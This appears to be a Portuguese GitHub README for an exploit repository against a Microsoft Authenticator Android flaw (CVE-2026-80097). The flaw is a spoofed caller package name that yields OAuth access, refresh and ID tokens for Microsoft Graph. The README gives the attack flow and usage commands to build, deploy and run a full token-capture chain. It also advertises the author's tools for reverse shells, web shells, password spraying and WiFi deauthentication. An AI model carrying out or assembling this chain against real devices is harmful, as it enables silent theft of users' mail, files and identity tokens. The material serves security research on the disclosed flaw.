
CVE-2026-80097 - Microsoft Authenticator Android Token Theft PoC & Exploit
Activity exportada do MS Authenticator permite roubo de tokens OAuth sem interacao do usuario via impersonacao de pacote.
CVE-2026-80097 v3.0.0 | MS Authenticator Android Token Theft
By Gh0st-Bx1 | github.com/Ghost-Bx1
Vulnerabilidade "AuthMask" (Enclave Security, 23 Out 2026). O Microsoft Authenticator para Android exporta a Activity com.microsoft.identity.client.AccountChooserActivity no processo :auth sem restricao de permissao (android:exported="true", sem android:permission).
O broker MSAL le o UID real do chamador via Binder.getCallingUid(), mas nao usa esse valor para tomar a decisao de autorizacao - em vez disso, confia no campo caller_package_name nos extras do Intent, que o chamador controla livremente (CWE-287: Improper Authentication).
Um app malicioso pode se passar por Microsoft Teams, enviar um BrokerRequest e receber tokens de acesso, refresh e ID para o Microsoft Graph sem qualquer interacao do usuario.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-80097 |
| CVSS | 8.6 (Alto) |
| CWE | CWE-287 (Improper Authentication) |
| Pesquisa | AuthMask (Enclave Security, 23 Out 2026) |
| Fornecedor | Microsoft |
| Data | Outubro 2026 |
| Fix | Authenticator 6.2606.4246 |
| Componente | Versao Afetada | Versao Corrigida |
|---|---|---|
| Microsoft Authenticator (Android) | < 6.2606.4246 | 6.2606.4246 |
| MSAL Android Library | Versoes associadas | Atualizar Authenticator |
App malicioso no dispositivo
|
v
Envia Intent para AccountChooserActivity
caller_package_name = "com.microsoft.teams" <-- controlado pelo atacante
request_type = "AcquireToken"
scope = "https://graph.microsoft.com/.default"
|
v
Authenticator nao valida UID real do chamador
|
v
onActivityResult retorna tokens para o app malicioso:
- access_token (Microsoft Graph, ~1h)
- refresh_token (longa duracao)
- id_token (identidade do usuario)
|
v
Atacante acessa: Mail, Calendar, OneDrive, Teams
| Token | Escopo | Duracao |
|---|---|---|
| Access Token | https://graph.microsoft.com/.default | ~1 hora |
| Refresh Token | Offline access | Dias a semanas |
| ID Token | Identidade do usuario | ~1 hora |
python poc.py --check-device
python poc.py --check-version
python poc.py --check-activity
python poc.py --gen-adb --target-pkg com.microsoft.teams
python poc.py --gen-apk-source /tmp/poc-app/
# Gerar source do APK
python exploit.py --build-apk --output /tmp/exploit-src/
# Apos compilar o APK:
python exploit.py --deploy --device <serial-adb>
python exploit.py --capture --timeout 30
# Pipeline completo
python exploit.py --full-chain --device <serial-adb>
python exploit.py --decode-jwt eyJhbGciOiJSUzI1NiIsI...
Unknown Sources)Este repositorio e para fins educacionais e de pesquisa de seguranca. Use apenas em ambientes autorizados com permissao explicita. O autor nao se responsabiliza pelo uso indevido.
| Tool | Description |
|---|---|
| ghost-ad | Active Directory - LDAP, Kerberoasting, AS-REP Roasting, BloodHound-lite |
| ghost-cloud | Cloud Security - AWS, Azure and GCP misconfiguration scanner |
| ghost-fuzz | Web Fuzzing - directory brute-force, parameter fuzzing, vhost enumeration |
| ghost-osint | OSINT - domain, email and IP intelligence from public sources |
| ghost-privesc | Privilege Escalation - Linux privesc checker, 17 vectors, GTFOBins |
| ghost-recon | Reconnaissance - DNS, SSL, WAF, subdomain enumeration, email security |
| ghost-report | Reporting - pentest report generator from any ghost-* JSON output |
| ghost-scan | Port Scanner - async TCP/UDP scanner with banner grabbing and CVE correlation |
| ghost-shell | Payload Generation - reverse shell and web shell generator, 25+ languages |
| ghost-spray | Credential Attacks - password spraying, stuffing, default credential testing |
| ghost-wifi | WiFi Attacks - monitor mode, deauth, WPA/WPA2 capture, PMKID, WPS, Evil Twin |
By Gh0st-Bx1
Откройте для себя самые используемые инструменты нашего сообщества.
Данных о популярности пока нет.